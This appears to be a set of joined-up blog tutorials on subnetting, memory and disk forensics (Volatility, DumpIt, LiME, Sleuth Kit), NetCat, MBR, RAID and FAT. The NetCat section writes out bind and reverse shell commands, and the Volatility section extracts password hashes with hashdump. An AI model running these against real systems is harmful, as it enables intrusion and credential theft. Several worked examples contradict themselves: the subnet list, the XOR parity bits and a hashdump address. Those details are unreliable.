Considering the following CIDR notation value: 193.56.132.0/26
we may determine the following

• Subnet Mask

  A CIDR notation is constructed from an IP address and a prefix size equivalent to the number of leading 1 bits in the subnet mask. Considering the CIDR notation above, the number of bits in the mask is 26. This can then be represented as:

  11111111.11111111.11111111.11000000

  If we convert this number to Decimal, we get the following subnet mask: 255.255.255.192
  

• Possible Subnetworks

  From above, the IP: 193.56.132.0 Mask: 255.255.255.192
  In binary this is:

  11000001.00111000.10000100.00000000 (IP)
  11111111.11111111.11111111.11000000 (Subnet Mask)

  and since this is a class C address, only the last 8 bits are used to create sub networks (subnets) AND host IPs. The Subnet Mask assigns two bits (highlighted in blue) to be used for the subnets while the remaining 6 (highlighted in green) can be used then for the hosts (as a host ID).

  The number of possible networks can be calculated using 2^n where n is the number of bits. Hence, we can have 2^2 = 4 possible networks as follows:

  11000001.00111000.10000100.00000000 (193.56.132.0)
  11000001.00111000.10000100.01000000 (193.56.132.64)
  11000001.00111000.10000100.10000000 (193.56.132.128)
  11000001.00111000.10000100.11000000 (193.56.132.192)

  Now, the first and last subnets are special. The first one is reffered to as subnet zero (because all its assigned bits are zeros) while the last one is an example of all-ones subnet (all its bits are ones). Traditionally, these two special subnets are excluded because they are not supported by legacy network devices. As such, usable networks will be

  193.56.132.0
  193.56.132.64
  193.56.132.128
  193.56.132.192

  which changes the formula to calculate the number of possible subnets to: 2^n-2. Unless, you are dealing with a modern network which would ideally support these two types of subnets.

• IP Ranges and usable IPs

  For each usable subnet we have 6 bits reserved for the hosts. Hence, the number of all possible IPs is
  2^6 = 64 IP address.

  We can determine the range of IP addresses as well. The first IP address of the first usable subnet (193.56.132.64) will simply have the all host’s bits as zeros while the last IP will have all the host’s bits as ones. Hence, the rage of all IPs will be

  11000001.00111000.10000100.01000000 (193.56.132.64)
  11000001.00111000.10000100.01000001 (193.56.132.65)
  11000001.00111000.10000100.01000010 (193.56.132.66)
  .
  .
  11000001.00111000.10000100.01111110 (193.56.132.126)
  11000001.00111000.10000100.01111111 (193.56.132.127)

  That is 193.56.132.64 to 193.56.132.127. However, while this is the range of all possible IPs which is equal to 2^6 = 64. The number of USABLE IPs always excludes the first IP (Host ID all zeros) because it represents the network itself and last IP (Host ID all ones) because it will be used as the broadcast IP for that subnet.

  As such, range of usable IPs for subnet 193.56.132.64/26 is 193.56.132.65 to 193.56.132.126.

  Similarly, range of usable IPs for the second usable subnet 193.56.132.128/26 is 193.56.132.129 to 193.56.132.190.

Hope this was helpful!

My demonstration will take place on a Windows machine, hence I downloaded the standalone executable which comes packaged with Python and all required dependencies from:
https://www.volatilesystems.com/default/volatility.

To organise my work environment, I created a folder called ‘volatility’ in my standard Download folder and moved the stand alone executable to it, in my case its name was volatility-2.1.standalone.exe.

P.S. The standalone executable is portable and can be run from removable media e.g. USB.

To use it, let us first list all possible options and included plugins. This need to be done using the Command Prompt in Windows

volatility-2.1.standalone.exe -h

This is demonstrated in the following figure (click to enlarge)

The Volatility Framework: list options and supported plugins

Volatility is used for analysis, as such I selected DumpIt to obtain a raw file containing a full dump of one of my machines’ RAM. For more information about this tool (and others) read the following post: Acquisition of volatile memory in Windows and Linux.

Using DumpIt I have now a raw file of my RAM called: H-HP-20121209-120703.raw

Using Volatility requires defining the correct Operating System’s profile from which the dump file was taken. This information and other can be extracted using the following command

volatility.exe imageinfo -f H-HP-20121209-120703.raw

please now that I have renamed the executable file from volatility-2.1.standalone.exe to volatility.exe to shorten the name. Otherwise, option -f is used to indicate that the consequent line is a file location of the memory dump. imageinfo is a tool to extract information about the image (memory dump) being examine. This process is demonstrated in the following figure

The Volatility Framework: imageinfo

From the figure, we now have a number of suggested profiles which we can analyse the image with. Other tools within Volatility requires this profile. For instance, to list all processes from that RAM use the following

volatility.exe -f H-HP-20121209-120703.raw --profile=Win7SP1x64 pslist

as you can see, I have now defined a profile and used the pslist command. This is shown in the following figure

The Volatility Framework: pslist

At this point, you will need to have a look at all available commands, I have found a good list in the following Volatility wiki:
https://code.google.com/p/volatility/wiki/CommandReference23
You should then study their capabilities and check if a command is supported by the profile you are using. For instance, to extract some networking relevant information, the command connections is not supported by the profile I am using (Win7SP1x64) while netscan is supported as demonstrated bellow

The Volatility Framework: connections and netscan

Registry data can also be extracted using this framework. I will use hivelist to print virtual addresses of registry hives in memory. Shown in the following figure

The Volatility Framework: hivelist

Now, how will this information can be very useful? one way is by copying the virtual address of the SYSTEM and the SAM file (in my example these were 0xfffff8a000024010 and 0xfffff8a001506420 accordignly) and then use them with the hashdump command to extract Windows password’s hashes as in

volatility.exe -f H-HP-20121209-120703.raw --profile=Win7SP1x64 hashdump -y 0xfffff8a00d932010 -s 0xfffff8a001506420 > syshashes.txt

where -y is for the system’s virtual address and -s for SAM. The result is then outputed to a file called syshashed.txt. However, please note that this technique does not work on all platforms. For example, it is not possible with Windows 7 64-bit but it is possible with Windows XP.

This article will demonstrate NetCat through a number of practical examples using a linux box (BackTrack) and a Windows XP machine. While nc is shipped with BackTrack, you will need to search and download the right version for your Windows or just use another Linux box. In my windows machine, all I need is the nc.exe file, I moved it to C:\WINDOWS so that it can be recognised easily by my Command Prompt. For this example please note that the IP of my Windows XP is 192.168.7.131 and BT is 192.168.7.133.

• Chat over the network!. I used the following command to put my Windows machine in listen-mode (option -l for listen) on port 2222 (-p for port). I also used -v to display information about the connection, v for verbose, you may add another v as in (-vv).

  nc -lvp 2222

  To connect, using the other machine, type

  nc 192.168.7.131 2222

  whatever you type now, on any machine, will show on both! as in the following figure

NetCat chat

• Send a file over the network. For that, while opening a listen-mode, we could output what we receive into a file called file.txt

  nc -lvp 2222 > file.txt

  and on the sending machine, you can send an existing file using

  nc 192.168.7.131 2222 < somefile.txt

  or via a pipe

  cat somefile.txt | nc 192.168.7.131 2222

  P.S. you could as well connect as in the first chat-example. Then, whatever you type in will be stored in file.txt

• Imaging file systems over the network using dd (dd over nc). dd is used to perform byte-by-byte copy of storage. An example for dd to copy the first 6 sectors of a HDD:

  dd if=/dev/sda count=6 bs=512 of=disk.img

  Possible options for dd are:
  if = input file
  of = output file
  bs = byte size (block size in bytes, default is 512)
  ibs = input block size
  obs = output block size
  count = number of blocks to copy
  skip = number of blocks to skip at a start input
  seek = number of blocks to skip at start of output
  conv = conversion

  While dd is a linux tool, you can use dd for Windows (I got one from here, and moved dd.exe to my Windows folder) to enable connecting between the two systems.

  dd can be piped to nc to send its output over a network. On the listening machine type

  nc -lvp 2222 | dd of=disk.img

  dd if=/dev/sda count=6 bs=512 | nc -q 1 192.168.7.131 2222

  -q 1 means, wait 1 second after the end of file then terminate process.

• Remote shell. NetCat enables you to control a remote machine via the -e option (used to execute a file right after a connection is established). If the machine you want to control remotely is Linux then type

  nc -lvp 2222 -e /bin/bash

  else, to control a windows machine type

  nc -lvp 2222 -e cmd.exe

  Now, connect to it and type a command such as ls or dir to view directory list of the remote machine.

  Nonetheless, you may reverse the shell i.e. provide access to your machine for a remote listening machine, type

  nc -e /bin/bash 192.168.7.131 2222

• Connect to HTTP servers. NetCat can be used to connect to a web server such as google.com and download its homepage HTML code

  nc google.com 80 GET HTTP/1.1

• Port Scanning. If NetCat is all you have, you can even use it to port scan your remote machine. For instance, the following command scans ports 1 to 999 of my Windows XP machine.

  nc -v 192.168.7.131 1-999 GET HTTP/1.1

Computer volatile memory is acquired for different purposes. For instance, Windows can be configured to dump it to a file called Memory.DMP to serve as part of a recovery procedure in the case of system failure (e.g. BSoD). Nevertheless, in computer forensics, volatile memory is acquired as an evidence to be analysed.

This article will demonstrate a number of automated tools used for the acquisition of volatile memory in Windows and Linux systems. Memory can either be captured in full by some tools while others require a process ID (PID) to acquire a memory dump for an identified process. In Linux, PID can be listed using ‘ps -af‘. If the list is found to be long it can be combined with grep. For example, you can locate FireFox process using

root@bt:~# ps -af | grep firefox

In windows, this can be done with the Task Manager or the ‘tasklist‘ command.

At this point, let’s start demonstrating the tools

• Process Dumper (pd) (from http://www.trapkit.de/research/forensic/pd/index.html) is a tool able to make a memory dump of a running process in either Windows or Linux.

  In Linux, this is how I installed and used ‘pd’

  root@bt:~# wget http://www.trapkit.de/research/forensic/pd/pd_v1.1_lnx.bz2 root@bt:~# mv pd_v1.1_lnx.bz2 /usr/local/src/ root@bt:~# bunzip2 /usr/local/src/pd_v1.1_lnx.bz2

  and then make the extracted file executable with the following command

  root@bt:~# chmod +x /usr/local/src/pd_v1.1_lnx

  now, assuming that the PID you want to acquire is 2873. Use the following command to create a memory dump. The 2873.dmp file will be created containing the memory dump for the identified process!

  root@bt:~# /usr/local/src/pd_v1.1_lnx -p 2873 > /usr/local/src/2873.dmp

  In Windows, pd can be started and used quite similarly with the command prompt as shown in the following figure.
  

  

  pd v1.1 for Windows

• PMDump (from http://ntsecurity.nu/toolbox/pmdump/) is another tool that lets you dump the memory contents of a process. It supports Windows NT 4.0, 2000, XP, 2003 and Vista (My test using v1.2 worked well on Windows 7 too).

  To use the tool, access it from the command prompt typing its name ‘pmdump‘ followed by ‘-list‘ to display all processes. More important, to create memory dump use pmdump followed by PID followed by a file name e.g.
  pmdump 2873 2873.txt

• ProcDump from (from http://technet.microsoft.com/en-US/sysinternals/) This very powerful tool is for Windows OSs. It is well documented on the following link from Microsoft, so there is no need to repeat what has already been posted there:
  http://technet.microsoft.com/en-us/sysinternals/dd996900

• LiME (Linux Memory Extractor) (from http://code.google.com/p/lime-forensics/) can be used in the acquisition of volatile memory from Linux and Linux-based devices, such as those powered by Android. Next bash commands demonstrate how LiME was installed at the time.

  root@bt:~# cd /usr/local/src/ root@bt:~# wget http://lime-forensics.googlecode.com/files/lime-forensics-1.1-r14.tar.gz root@bt:~# tar zxfv lime-forensics-1.1-r14.tar.gz root@bt:~# cd src root@bt:~# make ... CC [M] /usr/local/src/src/tcp.o CC [M] /usr/local/src/src/disk.o ... root@bt:~#

  The following bash command is what I used to dump memory. At this point you may want to check the documentation of LiME to decide the output format of the memory dump; they can be raw, padded or lime as specified by the developers. For this tutorial I will select lime because the Volatility address space was developed to support this format (as I am willing to publish posts about the Volatility Framework). Lime format is described in LiME documentation as ‘Each range is prepended with a fixed-sized header which contains address space information’.

  The path can either be a filename to write on the local system, SD card (useful for an Android device) or tcp port. I choose to save it as a file called mmry.lime in /usr/local/src/

  root@bt:~# insmod lime-3.2.6.ko "path=/usr/local/src/mmry.lime format=lime"

  Since LiME is a Loadable Kernel Module (LKM) insmod is used to link it into the running kernel.

• DumpIt from (from http://www.moonsols.com/2011/07/18/moonsols-dumpit-goes-mainstream/) is another very tool to dump Windows memory. It has no argument and would do the work for both 32 and 64 machine after a single double-click. The output is a faw file and will be located in the same folder as the DumpIt executable (make sure you have enough space if you run it from a USB stick).

This article aimed at putting together and demonstrating a number of volatile memory dump tools. Hence, I will attempt to revise and update this post in the future whenever I get time! so I would appreciate your comments and suggestions. For the time being, it will only make sense to look into analysis tools to extract useful information from these dump files. I will cover this topic with examples in my coming posts.

1. Empty your SPAM folder. If you also have a SPAM problem (and I think you are) and rely on some sort of SPAM and Trackback filtering technology such as Akismet (this is what I use), make sure you empty your spam folder. This wouldn’t affect the size of your backup file if you have few SPAM messages, but the last time I checked, there was over 4000 different SPAM messages sent to my blog! I can not be happy to have this in my backup file.
2. Consider deleting revisions. Revisions are copies of your WordPress posts, each time you edit a post and save your work a new version of this post is saved along with the older one. While it is possible to turn this feature OFF, I personally prefer to make use of it but simply run the following SQL command before I take full backups to delete all of them.

   DELETE FROM wp_posts WHERE post_type = "revision";

3. Optimize your tables. Deleting rows will not refresh information such as table sizes. Nevertheless, optimizing your tables would improve the efficiency of data retrieval and processing. You can either do that by ticking all your WordPress DB tables using phpMyAdmin and select Optimize from the drop-down box at the buttom or you might chose to optimize a single table at a time using the following SQL command example

   OPTIMIZE TABLE wp_posts;

Each time I follow this simple procedure I significantly reduce the size of my backup file. For the sake of this post, I compared the result before and after I performed these steps and I saw that my SQL backup file was reduced from 32 MB to about 3 MB only! –yes, my blog isn’t that big!

Assuming that your installation is not damaged and the problem is with the service being stopped. Attempt to restart it without the need to reboot your computer.

First, confirm that the service is included and ticked in the Services tab of msconfig

1. Start –> Run (or Windows-r)
2. type msconfig
3. click the Services tab
4. locate ‘VMware Authorization Service’
   (P.S. you may hide all Microsoft services to reduce the list)

If you can find the service ticked, but its status is Stopped, then attempt to restart it with the following steps:

1. Start –> Run (or Windows-r)
2. type services.msc
3. locate the ‘VMware Authorization Service’
4. right-click and select Start

You should be able to Power On your VMware machines now!

Ideally, this kind of investigation occur on an image of the HDD. However, the objective of this article is to present these tools and not to demonstrate a professional computer forensic procedure.

For the test, I booted one of my computers using BackTrack from a USB stick and searched for the connected HDDs as in the following figure

Connected HDDs

In Linux, storage devices (and partitions) are located within the /dev directory. Naming takes place based on the following logic:

• /dev/hda ; is the first (master) PATA/IDE hard drive
• /dev/hdb ; is the second (slave) PATA/IDE hard drive
• /dev/hda1 ; is partition 1 of the first (master) PATA/IDE hard drive
• /dev/sda ; is the first (master) SATA/SCSI hard drive
• /dev/sdb ; is the second (slave) SATA/SCSI hard drive
• /dev/sda3 ; is partition 3 of the first (master) SATA/SCSI hard drive

As such, I’ve searched for hda* and sda* to locate HDDs and revealed 3 partitions for the main disk and a single partition for the second one (which is the USB stick I booted from).

fdisk

It can be used to locate partitions and reveal information such as their start and end sectors/CHS values, number of blocks, sector size, disk identifier, total disk sectors and identify the file systems in place. Check out the following figure

fdisk -lu

In this scenario I typed fdisk -lu /dev/sda in which

• -l option is to list the partion tables for the specified device
• -u to give sizes in sectors instead of cylinders

mmls

Similarly, the mmls tool can be used to display the partition layout of a volume system. However, mmls can be different by showing which sectors are not being used so that those can be searched for hidden data. In addition, mmls display info in sectors by default and if no options are used to filter the result then all volumes will be listed.

To compare against fdisk, the following figure demonstrates the results gathered via both commands.

fdisk and mmls

The first two lines in mmls, numbered 00 and 01, are the MBR and the unused space between the main partition table (MBR) and first partition.

Nontheless, mmls can directly be applied on disk images rather than a connected hard drive. For example, assuming that DiskIMG.dd is an image of a HDD created with the dd command
mmls DiskIMG.dd would provide information about the disk as if it was connected live.

fsstat

This tool is then used to display more detail about the layout of a particular file system. For example, to analyse /dev/sdb1 which is a FAT file system where I have my BackTrack booting from, I typed:

fsstat /dev/sdb1 | less

“| less” was added to display the results page by page. The following figure shows that fsstat helped to learn the total range of a file system, reserved area, boot sector, backup boot sector, FAT0, FAT1, data area, cluster area, root directory…

fsstat (FAT32 partition)

The result from a second example (about an NTFS partition) using fsstat /dev/sdb1 | less is in the following figure

fsstat (NTFS partition)

fsstat can be performed on a disk image as well:

fsstat -o DiskIMG.dd

where the “-o” is the offset where the file system starts in the image

fls

We could now use the fls command to list files and directory names in a file system and can also display file names of recently deleted files.

fls command on the sda2 partition

It may also be applied on a disk image

fls -o 2048 DiskIMG.dd

where the “-o” offset is where the file system starts in the image and the 2048 value can be learned using the earlier tools such as the mmls. Other options include

-d display deleted entries only
-D directories only
-r overall files and directories in the system

Conclusion

fdisk and mmls are used to learn the main partitions of the system. fsstat can then be used to learn more detail about a selected file system followed by fls to investigate and list all files and directories. For more detail, always refer to the man pages of these commands.

Hex Workshop

It is irrelevant which hex editor you use as long as it enables you to access the hard disk to analyse the selected sectors. I will brief the analysis process using Hex Workshop because:

• I think it is ideal to the objective of this article and few other which I am writing.
• It has a very rich set of hexadecimal development tools and you can edit, cut, copy, paste, insert, fill and delete binary data.
• More information (including download links) can be gathered from its official website.

To avoid damaging the system or unintentionally changing data, select the Read Only option. Nevertheless, make sure you open the Physical Disk drive rather than a partition to gain access to the whole disk to read areas such as the MBR.

Hex Workshop: open drive in ‘Read Only’.

The MBR is usually invetigated because it contains information about the existing partitions in the system. After BIOS decides that no external bootable device (e.g. floppy, CD etc) exist, the control is passed to the MBR.

The MBR location starts with the very first sector of a physical disk. To be more precise, at the physical/absolute sector 0 (0×00).

Hex Workshop: locate the first sector.

Absolute vs Relative Sectors

With Hex Workshop you can easily move between sectors. Remember, there is a difference between physical/absolute sector number and a logical sector number. To locate the MBR at the begining of your hard disk, you need to go to the actual first sector of the disk, the absolute sector 0.

Relative sector numbers apply when you open a logical drive or partition. In that case, sector 0, 1, 2 etc might actually be sectors 1024, 1025, 1026 etc on the actual disk.

Structure of a generic MBR

The following diagram, illustrates the main areas of a MBR, these are:

1. The Bootstrap Code Area/Bootloader
2. Partition Table
3. Boot Record Signature/Magic Number

MBR: generic structure. Taken from [4]

The following table includes further detail about their location within the sector. This information is critical in order to correctly analyse the MBR.

MBR structure in further detail

The Bootstrap Code Area

Also called the Master Boot Code or the bootloader area. Bootstrapping is a simple process activating a more complicated system. The code is responsible for the following activities:

1. Scans the partition table for the active partition.
2. Finds the starting sector of the active partition.
3. Loads a copy of the boot sector from the active partition into memory.
4. Transfers control to the executable code in the boot sector.

If the master boot code cannot complete these functions, the system displays one of the following error messages:

• Invalid partition table
• Error loading operating system
• Missing operating system

Boot Record Signature

Also refered to as the Magic Number. Is a 2 bytes of code acting as a signature for the MBR. Located at offsets 1FEh and 1FFh and it’s values are: 55 AA in hex

To confirm the boot record signature in our system, read 2 bytes starting from offset 1FEh using the hex editor as in the following diagram

MBR Signature

Partition Table

To investigate the master partition table, read between offset 1BEh and 1FDh taking the following structure of the generic partition table into consideration.

MBR Partition Table

The standard partition table is limited to 4 partitions only. However, the last partition can be used as an extended partition table to include/support further partitioning. To investigate the partitions further, we can highlight them with a background colour for a better view. For instance, I highlighted the bytes between offsets 1BEh and 1CDh in blue, and applied a similar approach for the other three partitions.

MBR – Partition Table Entries

The first entry for partition #1 will be analysed in this article, you can apply the same proceedure to analyse the other 3 entries (partitions). At this point, the structure of the 16-byte partition table entry is need:

MBR – Partition Table Entry

Based on the structure above, I am now reformatting the hexadecimal values for each of the four entries I have found in the MBR as follows:

• 80 20 21 00 07 7E 25 19 00 08 00 00 00 38 06 00
• 00 7E 26 19 07 FE FF FF 00 40 06 00 00 C0 D7 22
• 00 FE FF FF 07 FE FF FF 00 00 DE 22 00 A8 61 02
• 00 FE FF FF 0C FE FF FF 00 A8 3F 25 B0 3A 03 00

This would help me to distinguish between the different parts. I could now start analysing the first entry step by step

• 80 20 21 00 07 7E 25 19 00 08 00 00 00 38 06 00

The value 80h indicated an Active Partition which is where the boot flag is set. An active partition indicates to a MS-DOS/MS Windows-type boot loader which partition to boot. In Windows, this is labelled as a SYSTEM partition.

Another value to expect is 00 which is an indication of a non-active partition.

• 80 20 21 00 07 7E 25 19 00 08 00 00 00 38 06 00

These bytes represent the partition’s starting sector in CHS (Cylinder-Head-Sector) values. They read 0, 21, 20 9 (hex) because they were stored on the disk in little-endian.

• 80 20 21 00 07 7E 25 19 00 08 00 00 00 38 06 00

This byte represent the partition’s file system. 07 is an indication for NTFS.

Information about MBR partition types can be found online:
- http://www.win.tue.nl/~aeb/partitions/partition_types-1.html
- http://en.wikipedia.org/wiki/Partition_type

Some MBR partition types such as 05h and 0Fh will indicate an extended partition. MBR bytes will only tell if an extended partition exist, and its size; Further detail must be extracted from each partition records directly. E.g. the extended partition table in the Extended Boot Records (EBRs).

With more EBRs linked to further EBR tables from its previous link, obtaining the complete layout of any hard disk requires an investigation of the data in the Extended partition tables of each EBR as well as the Master Partition Table!

• 80 20 21 00 07 7E 25 19 00 08 00 00 00 38 06 00

These bytes represent the partition’s ending sector in CHS (Cylinder-Head-Sector) values. They read 19, 25, 7E (hex) because they were stored on the disk in little-endian

• 80 20 21 00 07 7E 25 19 00 08 00 00 00 38 06 00

Starting sector: 00 08 00 00 becomes 00 00 08 00 in hex because it was stored on disk in little-endian, which is 2048 in Decimal.

Using Hex Workshop this can be confirmed, go to sector 800h

MBR- Sector 800h

• 80 20 21 00 07 7E 25 19 00 08 00 00 00 38 06 00

The size of the partition: 00 38 06 00 becomes 00 06 38 00 = 407552 sectors (by converting to Decimal) = 208666624 bytes = 199 MiB

For demonstration purposes, the information learned about partition #1 will be compared with that from the Windows Disk Management. Information learned so far include:

• Active Partition. In windows this can indicate a system partition.
• NTFS
• start at sector 2048
• Size: 407552 sectors = 199 MiB

Partition Information using Windows Disk Management

Since the partition we covered turned out to be a System partition, I may conclude the article by discussing the differences between system partitions and boot partitions.

As stated by Microsoft tech notes, the system partition hosts the hardware-related files that tell a computer where to look to start Windows while a boot partition directly hosts the Windows operating system files, which are located in the Windows file folder. This is very useful when you have a multiboot computer.

References

[1] What are system partitions and boot partitions? [online]
From http://windows.microsoft.com/is-IS/windows-vista/What-are-system-partitions-and-boot-partitions Last Accessed: 07/11/2012.

[2] Master Boot Record [online]
From http://technet.microsoft.com/en-us/library/cc976786.aspx Last Accessed: 07/11/2012.

[3] How to develop your own Boot Loader [online]
From http://www.codeproject.com/Articles/36907/How-to-develop-your-own-Boot-Loader Last Accessed: 07/11/2012.

[4] Joey Prestia (2008). Joey’s Notes: The Red Hat Linux Boot Process. [online]
From http://linuxgazette.net/156/prestia.html Last Accessed: 07/11/2012.

[5] Daniel B. Sedory (2007) MBR/EBR Partition Tables [online]
From http://thestarman.pcministry.com/asm/mbr/PartTables.htm Last Accessed: 07/11/2012.

There are different standard and composite RAID architectures that can strip and mirror data among multiple disks to achieve redundancy and/or performance. These are named by the word RAID followed by a number (e.g. RAID 0, RAID 1 etc) and each is referred to as a RAID level. When RAID is used, the storage is virtually represented as a single unit and therefore accessed by an Operating System as a single device.

The architecture of each RAID level can be described by the way data is replicated (mirrored) and/or stripped at a particular level (bit level, byte level or block level which size is determined by a number of bytes i.e. larger than the other two levels). Parity data is also used in many schemes. These techniques are explained bellow:

• Stripping: segmenting a file or a particular size of data into different logically sequential blocks and storing them on different storage devices. Hence, retrieving this data at a time becomes faster. This can be performed on the bit, byte of block level.
• Mirroring: real-time duplication of data into separate storage devices to maintain availability.
• Parity: is usually used for error detection. In RAID however, parity is used to reconstruct missing data and achieve redundancy (using the XOR function). To better understand parity, take the following simplified example:

  In a scheme consisting of 3 storage devices in RAID, assume that the following bits are stored in two disks:

  Disk 1: 01101101
  Disk 2: 11010100
  Disk 3 will hold calculate parity data for the two disks above, an XOR is performed on their data:

          11001101
    XOR   10010110
  _____________
  Disk 3: 01011011
  

  Now, if any disk fails, its data can always be reconstructed through performing an XOR function using the bits from the remaining two disks. If mirroring was used, recovering these data would require 4 disks in total (two holding the data and another two duplication them) compared to the three disks used with parity as in our example above.

RAID Levels

It is not wise to describe a RAID level as good or bad, each is serving as a solution to a particular problem considering the resources made available and the significance of data. To further explain RAID, let’s take the following examples supported by diagrams:

• RAID 0: is a block-level stripping with no parity or mirroring. Therefore, it improves performance but has no fault tolerance. RAID 0 requires a minimum of two disks.
  
  

  RAID 0 with two disks (disk 0 and disk 1) over one logical volume A with odd blocks on disk 0 and even blocks on disk 1

• RAID 1: is mirroring in real-time backup mode but without parity or stripping. Therefore, a read request is served by either disk after considering seek-time and latency to retrieve the data. RAID 1 requires a minimum of two disks.
  
  

  RAID 1 with two disks (disk 0 and disk 1) over one logical volume A with all blocks replicated/mirrored from drive 0 to drive 1

• RAID 3: is a byte-level stripping with dedicated parity. Hence, it required a minimum of 3 disks; two to hold the stripped data and one is dedicated for parity bytes.
  
  

  RAID 3 with four disks (disk 0, 1, 2, and 3) two 6-byte blocks, A & B, shown with their two bytes of parity on disk 3

• RAID 5: is a block-level stripping with distributed parity. As such, it also requires a minimum of 3 disks. This way, the data contained in an array is not lost by any single drive failure.
  
  

  RAID 5 with these four disks (disk 0, 1, 2, and 3) and each group of blocks (orange, yellow, green, and blue) have a distributed parity block that is distributed across the four disks, which has no consequenses for other raids

• RAID 6: similar to RAID 5, is a block-level stripping but with dual distributed parity to support fault tolerance of two disks at a time. This design is very convenient for systems required to provide performance and high-availability.
  
  

  RAID 6 with five disks (disk 0, 1, 2, 3, and 4) and each group of blocks (orange, yellow, green, and blue) has two distributed parity blocks that are distributed across the five disks

The previous RAID levels are standard. In addition to these, a composite (also called nested or hybrid) RAID of the standard levels is possible as in the following two examples:

• RAID 10: is a composite of RAID 1 and RAID 0, hence it is mirroring and then stripping. Requires 2 mirrors and each is then stripped into two, that is 4 disks at least.
• RAID 01: is a composite of RAID 0 and RAID 1, hence data is stripped first across the primary disks and then mirrored. Requires 4 disks at least.

RAID technology can be managed either by a dedicated computer hardware which is the ideal scenario or else by a software as part of the OS or the framework and drivers of a hardware RAID controller. Relying on a software implementation would affect and limit RAID’s performance and create a single point of failure.

References

[1] Samara Lynn (2010). RAID Levels Explained. Available from:
http://www.pcmag.com/article2/0,2817,2370235,00.asp Accessed: 28, Oct 2012.

[2] RAID Levels Explained. Available from: http://www.sohoconsult.ch/raid/raid.html
Accessed: 28, Oct 2012.

* Diagrams used to support this article were taken from the Wikimedia Commons, which is a freely licensed media file repository.

How does it work?

The FAT volume is divided into the following areas

The boot Record

The boot record in the FAT file system contains critical information about the volume, the structure of the FAT file system itself, the OS to be booted, an executable code and other detail. Once the executable code is triggered, control is handed to the operating system loaded from the partition.
The boot record area is always located at the beginning of the FAT system. It is contained in the first sector of FAT12 and FAT16 volumes or could take more space (3 sectors) as in a FAT32 volume.

The File Allocation Tables (FAT1 & FAT2)

The FAT file system organises sectors (a sector is the smallest unit of a storage media, measures 512 bytes in HDDs) into clusters of a predefined size (cluster sizes typically range from 1 sector to 128 sectors which is 64 KiB). When storing a file, its data is written in a number of clusters and their addresses are logged in a File Allocation Table. To retrieve the file, the File Allocation Table helps to lookup these clusters and retrieve the data. Each entry contains a pointer to the consequent cluster containing the remaining data of the file. This process/lookup begins from the root directory where the address of the first cluster for a file is reserved.

Other possible entries in FAT include: unallocated, end of file and a bad cluster. These are defined with special values in the FAT structure (e.g. zero means the cluster is not in use).

Due to the critical rule of a FAT, it is usually mirrored for redundancy in the case of data corruption; these two tables are referred to as FAT1 and FAT2. This mirroring feature can be disabled as of FAT32 by editing the boot record of the partition in question.

The root directory

Each file or directory stored in the file system contains an entry here. This entry includes detail such as the file name, starting cluster number and file size.

When retrieving a file, the file system will load the starting cluster found in the root directory, lookup its offset in the FAT to find the address of the next cluster to load.

The root directory area is of fixed size in FAT12 and FAT16 and always comes after the FAT1 & FAT2 areas. However, as of FAT32 it is merged with the Data Area and treated like any other chain of clusteres which gives it more flexibility when it comes to size.

The Data Area

This is where the files are actually stored. Hence, we could refer to the previous locations as the System Area in contrast.

Conclusion– A file in the FAT file system

Based on the information demonstrated so far, a file of a particular size in the FAT file system will have a root directory entry to define the file, a set of values in the FAT to lookup the clusters and finally a number of clusters containing the data for that file.

FAT12, FAT16, FAT32 and exFAT

The objective of this article was to provide a brief explanation of how the FAT file system works. More about the different versions of FATs is covered in another article here.

References

[1] local file systems in windows, http://www.microsoft.com/whdc/device/storage/LocFileSys.mspx Accessed Oct, 2012.
Alternatively, can be downloaded directly from my server.
[2] Examining the new FAT 32 system, http://technet.microsoft.com/en-us/library/cc751399.aspx Accessed Oct, 2012.
[3] FAT32 Hard Disk, http://myweb.tiscali.co.uk/bridip/recovery.htm Accessed Oct, 2012.